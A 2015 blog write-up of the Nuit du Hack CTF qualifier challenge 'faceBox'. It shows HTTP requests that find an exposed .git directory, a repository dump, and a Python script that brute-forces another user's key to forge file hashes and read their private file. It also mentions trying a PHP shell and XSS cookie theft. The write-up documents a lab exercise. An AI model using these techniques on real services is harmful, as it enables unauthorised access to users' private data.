Quals NdH 2015 faceBox - web100

Published on Monday, 06 April 2015 in CTF, Security ; tagged with quals, nuit du hack, ctf, write-up, web, 100, challenge, security, hackgyver ; text version

Last week-end I participated to the qualifications of NdH with HackGyver (scoreboard). We gathered at the hackerspace's local with futex, kiwhacks and pastrep (a new member met at the SecuRT 2015). We finished 32 over more than 200 teams that validated at least one challenge. It is not that bad, knowing that some of our key comrades where not available this Saturday.

Meme 500 Internal Errors Everywhere

I thought that I could write something about their faceBox web challenge.

faceBox - The challenge

On its web page:

A shady company decided to write their own software for storing files in the cloud.

"No no no, this is OUR filebox. We decline any responsability in the usage of our filebox. In any event your files get lost, trashed, stolen or spy on : it's your fault, not ours."

You are investigating on the security of their cloud storage as it might have disastrous consequences if it were to get hacked by malicious actors.

The homepage of the challenge allows the user to upload .txt files and specifies whether it should be private or public.

faceBox Homepage

Later you can access your files via http://prod.facebox.challs.nuitduhack.com/files/view/<md5>.

faceBox Files

So far we felt that we had to find a way to access koffi's confidentials.txt private file.

Failed attempts

  1. Forge cookie

    After looking around, we first thought that we had to tamper the session cookie because, after base64 decoding it, it gave something interesting: {"_csrf_token":{"b":"YWU3Y2ZlMzJhMzg0MGMyNDU2OGVkZjA1MmY4MDA0ZmMxZGE2MmQ0NA=="},"user_id":16} where the CSRF token is the base64 from the Home page.

    We wanted to tamper the cookie and change our "user_id" to 1 but we could not find a way to forge a valid signature.

  2. Upload exploit

    Then we tried to use the upload feature in order to upload something else than .txt files, like a php shell or something but without any luck. We also tried to upload some XSS payloads in order to intercept the cookie session idea from that koffi guy but the output was escaped.

  3. Injection in URLs

    We also tried to do some injections in the URLs such as http://prod.facebox.challs.nuitduhack.com/files/<page_id> but we only raised 500 Internal Errors.

  4. MD5 guessing

    What we realized during our testing that a user 1 could read a user 2's private files just by finding the correct MD5. That is why we tried to guess how the md5 files were generated. We tried a couple of things like md5(filename), md5(filename+timestamp), md5(timestamp+filename), etc. but sadly none worked.

Solution

We moved along and worked on other challenges because it was not worth 100 points spending hours on this web challenge. Then I spoke with mortis from pollypocket and I want to thank him for his kindness. He told me to look for dev stuff. Indeed, taking a look at my Burp history:

Host: prod.facebox.challs.nuitduhack.com

Hum, I wonder what dev.* would give us:

GET / HTTP/1.1
Host: dev.facebox.challs.nuitduhack.com

HTTP/1.1 200 OK
dev

Then we stumbled onto this:

GET /.git/ HTTP/1.1
Host: dev.facebox.challs.nuitduhack.com

HTTP/1.1 403 Forbidden

OK, directory listing was forbidden but:

GET /.git/config HTTP/1.1
Host: dev.facebox.challs.nuitduhack.com

HTTP/1.1 200 OK
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true

I tried to rebuild the git repository by hand but I could not find the technical details about the objects directory but hopefully, jvoisin linked me a nice tool: dvcs-ripper.

It smoothly retrieved the repository that contained main.py faceBox's file:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

def generate_random_filename(user_id,filename):
    dbuser = users.query.filter_by(id=user_id).first()

    if dbuser.privkey is not None:
        return md5(str(dbuser.privkey)+filename).hexdigest()
    else:
        privkey = str(randint(10000000,99999999))
        upd = users.query.filter_by(id=user_id).first()
        upd.privkey = privkey
        db.session.commit()
    return md5(str(privkey)+filename).hexdigest()

We are getting really close. Now that we know how the MD5s are generated, we could forge the one from koffi. The only thing that we need is his privkey.

Quick and dirty

I wrote a quick-and-dirty python script that would request the server for each privkey + filename between 10000000 and 99999999.

That was a stupid idea because:

Then we realized that we already had one MD5 from koffi: his public file paste01.txt which is 3686d78a6e9d5258773a6ae0469d3ed4. Therefore I wrote another script to brute-force it locally:

import sys
import hashlib

FILENAME = "paste01.txt"
GOOD = "3686d78a6e9d5258773a6ae0469d3ed4"

for i in range(99999999, 10000000, -1):
    md5digest = hashlib.md5(str(i)+FILENAME).hexdigest()
    if md5digest == GOOD:
        print("Found for privatekey=%d" % i)
        sys.exit()

Which outputted: Found for privatekey=95594864.

Then we forged the MD5 for confidentials.txt which is 35e2cb0b2e8bd40347ecd4e32767a060 and accessed the file:

M4x_M4i5_DR

Note: Overall, I really think that this web challenge was worth more than 100 points, especially when the Bpythonastic forensic, 300 points, was just a strings | grep... Only 18 teams validated it compared to 85 for the other web100 (and 121 for that forensic300).


contactdepier.re License WTFPL2